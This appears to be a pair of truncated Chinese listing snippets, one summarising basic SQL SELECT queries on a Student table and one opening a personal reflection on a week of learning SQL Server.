
    SQL常用查询总结

    1) 查询全体学生的学号、姓名、所在系 select Sno,Sname,Sdept from Student 2) 查询全体学生的详细信息 select * from Student 3) 查询全体学生的姓名及其出生日期 select Sn......

    SQL学习总结

    上个星期,自主学习了SQL Server ,基本了解了SQL Server的语法知识和结构,对SQL 有了一定的认识,现在我就对我这一星期对SQl的 学习做一个总结: 为了永久性的集中存放数据,并且还......